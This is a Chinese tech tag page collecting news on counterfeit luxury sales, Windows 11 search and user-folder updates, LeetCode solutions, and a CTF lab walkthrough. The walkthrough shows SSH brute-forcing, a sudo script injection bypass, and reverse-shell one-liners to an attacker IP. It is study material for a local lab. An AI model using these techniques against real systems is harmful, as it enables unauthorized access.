WWW.YOUINFO.SITE
标签聚合 字母

/tag/字母

cnBeta全文版 · 2026-06-05 13:35:59+08:00 · tech

19.9元“MIMI”发卡附赠字母“UU”,粘贴“变身”三千多元的高仿“MIUMIU”大牌配饰。最近,这段短视频在平台热传,该仿冒产品的热销,也撕开奢侈品高仿泛滥的隐秘面纱。 “6•18”前夕,“马上测”工作室开箱淘宝、抖音、微店、拼多多等平台的多款仿冒大牌商品,实测灰色产业链多种套路。我们发现,在上述多个平台,检索过一次假货相关关键词后,平台便会不停推流类似高仿产品;有时检索正品,首先跳出来的也是假货。 另一方面,商家钻漏洞,靠着“同款”“小众平替”“混背”等擦边标题、暗藏大牌logo的实拍图精准薅流量,造假套路也花样翻新,除了伪造专柜购物小票、自制虚假防伪芯片外,还有商家售卖与大牌logo不同的高仿产品并附赠DIY改标教程,层层伪装。 知识产权律师提醒,商家花式伪装兜售高仿产品,攀附名牌商誉已构成商标侵权与不正当竞争,涉案金额达标或将触犯刑责;平台放任假货借算法肆意导流,疏于风控拦截,依法要连带担责。 部分高仿包配有防伪卡,还有的则通过指导消费自己DIY,让包包变身“高仿”大牌。 平台算法推流混杂假货?商家标签也在玩擦边套路 “马上测”工作室分别在淘宝、抖音、微店、拼多多购买了“高仿”大牌的包包、鞋子、围巾、项链和帽子等产品,从下单到开箱,实测其中套路。 我们发现,在淘宝平台中,一款售价239元的香奈儿仿款钱包极具代表性。该商品推荐标签刻意规避品牌名称,仅标注“小香款”,但商品主页配图使用香奈儿高仿包原图,仅对双C标志做轻微打码处理,消费者依旧能清晰识别仿制品牌。记者开箱实测发现,这款钱包包装简陋、内里做工粗糙,属于典型的“一眼假”产品。 抖音平台多款奢侈品仿品同样采用标签擦边的售卖方式。一款售价65元的撞色鸭舌帽,商品标签标注为“miu家同款撞色鸭舌帽”,未直接标注大牌名称,但产品本体印有清晰的“MIUMIU”logo,仅内侧标签标注其他工作室名称,混淆消费者判断。 另有一款售价128元的项链,平台标签仅标注“铜合金项链,单花红色四叶草项链”,无任何品牌字样,实则仿制梵克雅宝经典款式。产品开箱配有完整礼袋、包装盒和配套卡片,卡片还宣传商家售卖各大奢侈品大牌的“顶级”版本手表、首饰、眼镜、手镯,但项链本身质感粗糙,与正品差距明显。 微店平台的售假套路如出一辙。一款售价188元的假冒Gucci运动鞋,商品主页直接堆砌“古奇脏脏鞋 Gucci/古驰小脏鞋古奇 Screener系列脏脏鞋g家小脏鞋情侣鞋”等相关字样,直白绑定大牌IP。 另有一款香奈儿仿品围巾,商品标签仅平淡标注“双面羊毛菱格围脖围巾 黑色/藏青色/黑杏色/灰色”,无任何品牌信息,但主页展示图片直接使用带有香奈儿标识的仿品图。 记者在检索上述“高仿”大牌时发现,在上述多个平台,有时检索正品,首先跳出来的也是假货;检索过一次假货相关关键词后,平台便会不停推流类似高仿产品;也有平台放任假货借算法导流。 到手后发现,不少仿品包装齐全,甚至配有购物小票。 高仿套路层层翻新,多重伪装极具迷惑性 除了标签擦边引流,各大平台售假商家打造出全套伪装、DIY改标、虚假溯源等多种新型造假套路,高仿产品仿真度不断提升,极具迷惑性。 例如,在拆箱实测中我们发现,微店所购的188元的假冒Gucci脏脏鞋,造假伪装细节完备,产品到货后配有完整包装袋、服务卡和产品标签,扫码可跳转至Gucci官方网站。不过,鞋子外包装盒颜色与正品存在明显差异,且伴有浓重异味。商家直言,该产品为高版本一比一专柜复刻,销量稳定、客源众多。 微店仿制的香奈儿围巾更是“精细”,复刻了正品全套配套物料,盒子、吊牌、消费小票一应俱全。附带的购物小票信息详尽,标注售价3680港币,虚构购买门店为香港尖沙咀弥敦道商圈的义安城,还填写了导购姓名、信用卡卡号末四位等细节。 我们实测发现,这款围巾的质感、图案高度还原正品,若非专业鉴别,普通消费者难以分辨。经记者核查验证,义安城实际位于新加坡,并非小票标注的香港地区,属于完全伪造的购物信息。 DIY手动改标则是另一种隐蔽的售假套路。和“MIMI”发卡附赠字母“UU”变成“MIUMIU”类似,我们在抖音平台购买了一款标注为“中古款迷你CF斜挎小包”的产品,商家主页主图隐藏香奈儿标志,仅在评论区有用户晒出带香奈儿标识的包包。 记者购买开箱后发现,产品原配锁扣为两个相互嵌套的“O”型造型,无任何大牌标识,但内包装附带专属DIY教程卡片。 记者向客服咨询后,对方发送详细的DIY改造视频和文字教程,指导消费者“扣出”“双C”标志。记者按照教程实操验证,仅需轻微用力即可拆解双“O”边缘,轻松将原配锁扣改造为仿香奈儿的“双C”标志。 拼多多平台则出现了虚假芯片溯源的高仿包包。记者实测购买一款仿LV包包,产品包装齐全、做工逼真,整体仿真度极高。商家宣称该包自带专属防伪芯片,支持手机感应溯源。实测中,将手机贴近包包底部,确实可以成功弹出溯源页面及详细溯源信息。但记者进一步核查发现,该溯源网址并未在工信部备案。 实测多个电商平台发现,检索真货大牌时出现假货;检索一次假货后平台连续推流。商家通过“混背“”复刻”“1:1"等标签引流。 专家:商家售卖高仿和“擦边”属违法,平台也应承担连带责任 针对前述情况,华东政法大学知识产权法律与政策研究院杨勇研究员认为,商家通过“小香款”“同款”等擦边标签、隐晦文案规避平台审核,搭配高仿主图售卖大牌仿品,或者不直接标注品牌全称,但利用文字擦边、图文割裂方式刻意误导消费者的行为,属于虚假宣传,构成商标侵权和不正当竞争;另一方面,商家实施商标侵权和不正当竞争行为,需要承当相应的民事、行政乃至刑事责任:最后,商家售卖大牌仿品,情节达到法定标准,则会触犯刑法,需要承担相应的刑事责任。 商家售卖无大牌标识的基础款产品,配套教程引导消费者手动DIY改装、变造logo变身大牌高仿品,是否属于侵权行为? 杨勇称,这仍然属于商标侵权和不正当竞争。据《商标法》第四十八条规定,商标的使用并不局限于商品本身或某一特定环节,而是要从商业活动的整体过程分析。 “商家无论是直接贴牌销售还是销售后帮助贴牌,本质上都是在商业活动中使用了商标,其帮助贴牌行为完成后才是销售行为的终结。”杨勇提到,因此,商家售后贴牌的行为属于《商标法》意义上的商标使用,构成商标侵权。《商标法》第五十七条规定,故意为侵犯他人商标专用权行为提供便利条件,帮助他人实施侵犯商标专用权行为的,构成商标侵权。商家售后贴牌,本质上是商家为消费者提供便利条件后,借助消费者的行为完成了商标侵权。根据前述《反不正当竞争法》第二的相关规定,商家售后贴牌的行为攀附商业信誉,同时构成不正当竞争。 关于商家通过虚假备案溯源网址、伪造专柜小票、虚构门店信息等方式营造正品假象的行为,除构成商标侵权和不正当竞争行为外,还有可能涉及多种刑事责任:若商家涉案销售金额、违法获利达到法定标准,则可能构成假冒注册商标罪或销售假冒注册商标的商品罪;若商家伪造的是发票而非仅是小票,可能构成非法制造、出售非法制造的发票罪;若商家伪造专柜小票、溯源凭证的同时也伪造了公司、企业印章罪,则可能构成伪造公司、企业、事业单位、人民团体印章罪;商家伪造仿官方溯源网站、仿备案资质的行为,情节严重的,还可能构成非法利用信息网络罪。 杨勇提到,普通消费者如买到此类假货,可以依据《消费者权益保护法》第五十五条的规定:“经营者提供商品或者服务有欺诈行为的,应当按照消费者的要求增加赔偿其受到的损失,增加赔偿的金额为消费者购买商品的价款或者接受服务的费用的三倍;增加赔偿的金额不足五百元的,为五百元”,向商家主张退一赔三。而如果各大电商平台未尽到审核拦截义务,应依法与该销售者或者服务者承担连带责任。 查看评论

LinuxDo 最新话题 · 2026-06-04 16:24:40+08:00 · tech

靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:longshao 系统 :Linux 作者 :超级黑暗无敌龙 难度 :Easy 依旧新鲜靶机,文章其实早就写好了,但是由于还在群内的做题时间,所以现在才发出来,欢迎大家学习和指导 不多说,直接开始。 信息收集 靶机ip: 192.168.56.108 端口扫描 ┌──(kali㉿JYlover)-[~] └─$ nmap -p- 192.168.56.108 开放 22 、 80 端口,这次就很明显是从web入手了。 一个登录页面。 测了一下没有类似sql注入的问题。 那就扫一下目录。常规信息收集: $ dirsearch -u 192.168.56.108 多出来一个 /dashboard.php ( /cgi-bin/printenv和/cgi-bin/test-cgi这两个应该是apache自带的一些配置文件,没有什么用) 我们去访问dashboard: 直接给了ssh凭证,web端是白给的,所以我说侧重是在shell提权上。 baolong:jinhua 横向移动 $ ssh [email protected] # 输入:jinghua 登录到 baolong 用户。 然后我们信息收集一波。 baolong@longshao:~$ sudo -l # Sorry, user baolong may not run sudo on longshao. baolong@longshao:~$ wget 192.168.56.1:9999/pspy64 baolong@longshao:~$ chmod +x pspy64 baolong@longshao:~$ ./pspy64 没有啥大收获。 这里又传了 linpeas.sh (工具箱中的)上去扫了一遍。 这是一个bash脚本,用于在 Linux 系统上自动进行信息收集和提权路径枚举。 baolong@longshao:~$ wget 192.168.56.1:9999/linpeas.sh Connecting to 192.168.56.1:9999 (192.168.56.1:9999) saving to 'linpeas.sh' linpeas.sh 100% |******************************************************************| 1032k 0:00:00 ETA 'linpeas.sh' saved baolong@longshao:~$ chmod +x linpeas.sh baolong@longshao:~$ ./linpeas.sh -bash: ./linpeas.sh: /bin/sh^M: bad interpreter: No such file or directory baolong@longshao:~$ sed -i 's/\r$//' linpeas.sh baolong@longshao:~$ ./linpeas.sh 注意这里如果是从windows上传过去可能会有这个换行符冲突的问题,我们可以用sed命令替换一下。 然后他就会开始自动扫。 也并没有扫到什么很有用的东西,但是也顺带有点收获: 可以看到有3个普通用户: baolong chaojibaolong chaojiwudilong 可能是打横移链。(这名字起的,暴龙的进化之旅(~ ̄▽ ̄)~) 又注意到/opt目录下有一个 internal 目录。(opt目录放第三方下载的东西,所以很多作者会把口子放在这里) 既然没啥东西了,那我们肯定就去看看这个 internal 目录吧 baolong@longshao:~$ ls /opt/internal -la 看到有一个 parser_core 的二进制文件,root所有,属于 chaojibaolong 组,且组用户可执行。 很明显是引导我们横移到 chaojibaolong 用户了。 我们想把文件拉下来分析一下, 但是也需要有 chaojibaolong 用户,其中我们也没发现其他横移的路子。 没办法的时候就想想最笨的办法,直接去爆破一下ssh密码呢? ┌──(kali㉿JYlover)-[~] └─$ hydra -l chaojibaolong -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.108 -t 4 -e nsr 还真给扫到了。 chaojibaolong/love123 可以拷贝下来了: $ scp [email protected]:/opt/internal/parser_core ~/tmp/ 这是在我们攻击机上执行的远程拷贝命令 然后用ida打开看看。 直接f5反汇编 好像大概就是有一个 --debug 参数,…然后就可以执行 su chaojiwudilong 啦≡(▔﹏▔)≡。好吧看不懂。 交给ai: 必须root执行 必须是 1 或 2 个参数( argc - 2 <= 1 )。 1 个参数:正常模式 2 个参数:若第二个参数为 --debug ,开启调试标志(这里argc[0]是程序本身,所以{ a2[2], "--debug" }不是检查第三个参数而是第二个) 文件名必须 .log 结尾,文件必须在 /tmp/ 下 log文件存在的话就只是打印成功,不存在的时候且开启了调式模式,就会执行 su chaojiwudilong 那么很清晰,我们的目标是: 以root身份执行这个程序–>启动调试模式–>指定一个不存在的log文件 也就是 $ /opt/internal/parser_core /tmp/1.log --debug 如果root执行了这个命令,就可以切换身份了 但是我们怎么去root执行呢?可能到这里就没什么思路了。 那就登录。在信息收集一下sudo权限有没有。 baolong@longshao:~$ su chaojibaolong # 输入:love123 chaojibaolong@longshao:/home/baolong$ sudo -l 直接发现拥有 无需密码执行 /usr/local/bin/check_parser 的权限。 这是个什么东西呢,我们去看看。 chaojibaolong@longshao:/home/baolong$ vi /usr/local/bin/check_parser 是一个bash脚本大概是: 检查uid是否为0,也就是检查是不是root执行。不是root直接退出 检查第一个参数,如果第一个参数为空且第一个参数对应的路径 不是 普通文件,则退出。这里用的并运算(-a),所以如果有参数的话,就一定不会退出 执行 parser_core ,并且把参数传递给它 又清晰了,上面我们分析过,只需要执行 parser_core 并带有 --debug 参数就可以到 chaojiwudilong $ /opt/internal/parser_core /tmp/1.log --debug 我们不能root执行 parser 但是可以root执行 check_parser 呀,而 check_parser 又执行了 parser 。这样就间接执行了,而且参数原样传递,我们可以像直接调用 parser 一样,就是改一下名字。 我们执行: $ sudo /usr/local/bin/check_parser /tmp/1.log --debug 横向完成。 提权 拿到最后一个普通用户,再看看sudo权限: $ sudo -l 可以无密码执行 /usr/local/bin/a.sh 去看看这个脚本。 chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh 终于能看懂了: 先把PATH直接改成 /usr/bin (这样所有命令会去 /usr/bin 下面找) cd到 /tmp 目录 <( ... ) 表示把命令执行的结果当一个临时文件,然后把临时文件的值赋值给 $CMD head -n1 | tr -d "[A-Za-z0-9/]" 表示取出第一行,删掉其中的数字字母和 最后执行 $CMD 也就是这个脚本的参数,不能有数字字母和 / ,然后这个参数会被执行。 这里就是一个无数字字母命令执行。 虽然没有数字没有字母,但是还有 ! 、 ? 、 _ 这些特殊符号呀。 这里首先我们要知道一个知识点,那就是 . <文件名> (注意有空格)是可以执行shell脚本的( . 是 source 命令的简写,用于在当前 shell 进程中执行脚本),例如: 这里看得很清楚, source <文件名> 可以成功执行 a 文件中的shell命令, . <文件名> 也可以 所以我们流程就是: 创建名为 _ 的文件,内容是shell命令—>sudo执行 a.sh ,—>传入 . _ 然后就打成任意命令执行了。 1. 2. 关于最后提权的小复盘 我们要注意到脚本中: PATH=/usr/bin cd /tmp read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]") eval "$CMD" 有一句改PATH的命令,所以有些命令我们最好用绝对路径,不然会默认去 /usr/bin 里面找 例如我们的反弹shell。 bash -c 'exec bash -i &>/dev/tcp/192.168.56.1/8888 <&1' # 就要改成 /bin/bash -c 'exec /bin/bash -i &>/dev/tcp/192.168.56.1/8888 <&1' 不然就会报错 因为 /usr/bin 下面没有 bash ,他是在 /bin/bash 这里还发现: echo "/bin/bash -i >& /dev/tcp/192.168.56.1/8888 0>&1">_ # 这个不行 会报错 这里不知道是为什么,可能是执行是的环境是 sh ? 这里实在搞不懂了 还有一点就是如果不用 _ ,用 ? 或者 ! 也是可以的,但是由于他们在shell中有特殊含义,所以要注意利用“”。 知识点总结 本次靶机遇到的知识点: 遇到二进制文件可以拉下来反编译审计 source <文件名>是把文件名执行。可以写成 . 文件名 ,绕过限制 这次靶机遇到的固定知识点比较少,大部分是根据实际情况来的分析,代码审计。大家可以自行复现 2 个帖子 - 2 位参与者 阅读完整话题

IT之家 · 2026-06-01 09:22:12+08:00 · tech

IT之家 6 月 1 日消息,微软现已开始为 Windows 11 的 Windows 搜索推送两项意义重大的更新。实测后发现,该公司终于开始理解用户对搜索功能的真实需求。 第一项更新已通过 2026 年 5 月可选更新补丁 KB5089573,逐步推送给普通电脑用户。微软表示, 如今 Windows 搜索仅输入两个字符,就能检索并优先匹配对应文件。 第二项优化目前正在 Windows 11 预览版 26300.8553 和 26220.8544 中灰度上线。微软将其命名为“按子字符串搜索”,这项功能解决了 Windows 搜索长期以来最让用户诟病的一大问题。 对于组合式名称的文件或内容(例如 MeetingNotesApril、ProjectStatusReport),现在只需输入‘april’或‘status’这类片段词汇,就能轻松找到对应文件。 IT之家注意到,这彻底改变了日常使用中搜索功能的自然体验。多年来,Windows 搜索一直难以识别组合文件名,用户必须输入文件名开头部分,或是高度近似的完整名称才能搜到结果。 今年 3 月 20 日,微软发布了广受关注的博客文章《我们对 Windows 品质的承诺》,正式宣布将升级搜索功能,力求“更快找到所需内容,清晰展示应用、文件与系统设置,帮助用户快速获取精准结果”。如今,这些承诺终于落地。 安装 2026 年 5 月可选更新后,使用 Windows 搜索只需输入两个字符就能定位文件,文件查找效率大幅提升。例如,仅输入“XP”,系统就立刻显示出所有 Windows XP 壁纸文件。 但如果未开启这项全新搜索优化,同样输入“XP”,页面只会弹出 XPS 查看器,完全不会显示相关壁纸文件。这种情况下,只能输入完整文件名才能找到目标,比如输入“xp bliss”来查找经典的 Windows XP 极乐壁纸。如果想查看全部 XP 壁纸,就必须安装并启用这项搜索更新。 注意:微软采用分阶段受控推送机制,即便安装了 2026 年 5 月可选更新,部分设备也可能暂时无法体验这项搜索优化,功能会陆续推送至所有设备。面向预览体验用户的另一项搜索新功能,也遵循同样的推送规则。 子字符串搜索功能的升级尤为重要。绝大多数用户不会用规整的命名规则整理文件,日常文件名往往杂乱无章:大家习惯拼接词汇、加注月份、项目名称、缩写、版本号等内容,这类名称过后很容易记不全。 在旧版搜索逻辑下,必须记准文件名开头,才能搜到对应文件。而启用新功能后,只需输入“May”“Menu”或“Comparison”,系统就能立刻匹配出名为“StartMenuComparisonMay”的文件。 目前,子字符串搜索功能已面向体验频道和测试版频道的 Windows 预览体验用户开放,预计未来数月内会逐步推送至所有普通电脑。 此前我们曾报道,微软计划调整 Windows 11 搜索逻辑,不再优先展示网页结果,而是将应用和本地文件放在首位。这也意味着一个广为流传的槽点即将成为历史:以往搜索“Terminal(终端)”,结果里反而先跳出电影《终结者》的相关网页内容。 Windows Latest 称,检索能力不足并非 Windows 11 搜索的唯一问题。即便检索功能得到优化,界面堆砌的各类无关内容仍是最大痛点。近几年,搜索页面愈发臃肿,充斥着网页资讯、AI 功能入口、热门话题、微软积分提示以及必应信息流,这些内容对绝大多数用户毫无用处。 大家打开搜索,本意是启动应用、查找文件、打开系统设置或是快速计算,可微软却把 Windows 11 搜索当成了必应引流和推送宣传内容的平台。 期待微软依托原生 WinUI 3 框架,继续剔除多余的网页嵌套组件、重构系统原生模块,把优化重点放在响应速度上,不再一味堆砌必应相关内容。唯有如此,Windows 搜索才能重新赢得用户信赖,成为 Windows 11 中大幅提升使用体验的核心功能之一。

cnBeta全文版 · 2026-05-30 15:06:24+08:00 · tech

微软终于在2026年5月发布的可选更新KB5089573中为Windows 11用户提供了自定义本地用户配置文件夹名称的功能,彻底改变了长期以来系统自动截取电子邮件地址前五个字母作为文件夹名的做法。这项备受期待的改进正式告别了用户对系统自动生成的奇怪文件夹名称的困扰,但该功能仅在设备初始设置阶段可用,现有用户无法享受这一便利。 在Windows 11系统中,默认用户文件夹是在C:Users路径下创建的个人目录,用于存储文档、下载内容、图片及其他配置文件数据,是电脑上最重要的文件夹之一。此前,当用户在安装Windows 11时使用微软账户登录,系统会自动提取电子邮件地址的前五个字符作为用户文件夹名称。例如,邮箱地址为 [email protected] 的用户,其文件夹会被命名为"abhij",这种毫无意义的缩写让许多用户感到困扰。对于开发者和系统管理员而言,这种截断命名方式还会引发实际技术问题,因为许多传统开发工具、自定义环境变量和自动化构建脚本依赖特定的目录结构,不可预测的截断用户名路径可能导致脚本无法定位本地文件,迫使开发人员手动重写整个工作空间的路径定义。 新版本在设备名称页面增加了"用户文件夹名称"选项,用户可以在Windows 11安装过程中自定义该名称。微软在发布说明中指出,用户现在可以在Windows安装期间的设备名称页面选择自定义用户文件夹名称,这一更新使得在设置阶段选择自定义名称变得更加容易,如果跳过此步骤,Windows将使用默认文件夹名称并正常继续安装,用户文件夹名称必须遵循Windows标准命名要求。该功能最早于2026年3月在Windows 11预览版Build 26300.8068中悄然推出,如今已从测试阶段毕业,作为可选更新提供给所有正式版用户,并计划在2026年6月的"补丁星期二"安全更新中进行更广泛的推送。 然而,这项更新存在重大限制,用户只能在设备初始设置阶段修改文件夹名称,这意味着对现有用户没有实际益处。对许多人而言,修复文件夹名称的唯一"干净"方法是完全重新安装Windows或购买新电脑,而仅仅为了修复一个名为"abhij"或"john1"的文件夹就清空整个系统设置显然不太合理。微软还为自定义用户文件夹名称增加了若干限制,因为这些文件夹与Windows文件系统深度关联。根据微软官方命名规则,用户不能使用保留字符如< > :"/ | ? *,也不能使用保留系统名称如CON、PRN、AUX、NUL、COM1或LPT1,文件夹名称也不能以空格或句点结尾。虽然Windows技术上允许空格和Unicode字符,但建议使用标准字母的简单名称,如C:UsersAbhijith这样简洁的文件夹路径,比包含空格或符号的名称更不容易在旧版命令行工具、脚本、开发环境或游戏模组中引发问题。 值得注意的是,微软正在使用受控功能推出(Controlled Feature Rollout)逐步发布此功能。即使安装了2026年5月可选更新,新的"用户文件夹名称"字段也可能不会立即在设置过程中出现。因此,现在立即清空电脑重装系统可能仍会遇到相同的五字母截断问题。尽管如此,这仍是Windows 11一项细微但贴心的改进,配合微软正在进行的文件资源管理器可靠性修复以及对原生Windows体验的重新关注,Windows 11终于开始修复长期存在的烦恼问题,而不是仅仅在其之上堆砌更多功能。 查看评论

LinuxDo 最新话题 · 2026-05-27 09:04:45+08:00 · tech

力扣 LeetCode 3121. 统计特殊字母的数量 II - 力扣(LeetCode) 3121. 统计特殊字母的数量 II - 给你一个字符串 word。如果 word 中同时出现某个字母 c 的小写形式和大写形式,并且 每个 小写形式的 c 都出现在第一个大写形式的 c 之前,则称字母 c 是一个 特殊字母 。 返回 word 中 特殊字母 的数量。 示例 1: 输入:word = "aaAbcBC" 输出:3 解释: 特殊字母是 'a'、'b' 和 'c'。 示例 2: 输入:word = "abc" 输出:0 解释: word... 思路 跟昨天的题目差不多,统计小写字母时加个是否已出现大写字母的判断即可。 代码 class Solution { public int numberOfSpecialChars(String word) { int n = word.length(); int[] cnt = new int[26]; for (int i = 0; i < n; i++) { int o = word.charAt(i) - 'A'; if (o > 26) { if ((cnt[o - 32] & 1) == 1) { cnt[o - 32] |= 4; } cnt[o - 32] |= 2; } else { cnt[o] |= 1; } } int ans = 0; for (int i = 0; i < 26; i++) { if (cnt[i] == 3) { ans++; } } return ans; } } 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-26 09:17:49+08:00 · tech

力扣 LeetCode 3120. 统计特殊字母的数量 I - 力扣(LeetCode) 3120. 统计特殊字母的数量 I - 给你一个字符串 word。如果 word 中同时存在某个字母的小写形式和大写形式,则称这个字母为 特殊字母 。 返回 word 中 特殊字母 的数量。 示例 1: 输入:word = "aaAbcBC" 输出:3 解释: word 中的特殊字母是 'a'、'b' 和 'c'。 示例 2: 输入:word = "abc" 输出:0 解释: word 中不存在大小写形式同时出现的字母。 示例 3: 输入:word =... 思路 按题目要求记录好大小写是否出现过就好。 代码 class Solution { public int numberOfSpecialChars(String word) { int n = word.length(); int[] cnt = new int[26]; for (int i = 0; i < n; i++) { int o = word.charAt(i) - 'A'; if (o > 26) { cnt[o - 32] |= 2; } else { cnt[o] |= 1; } } int ans = 0; for (int i = 0; i < 26; i++) { if (cnt[i] == 3) { ans++; } } return ans; } } 2 个帖子 - 2 位参与者 阅读完整话题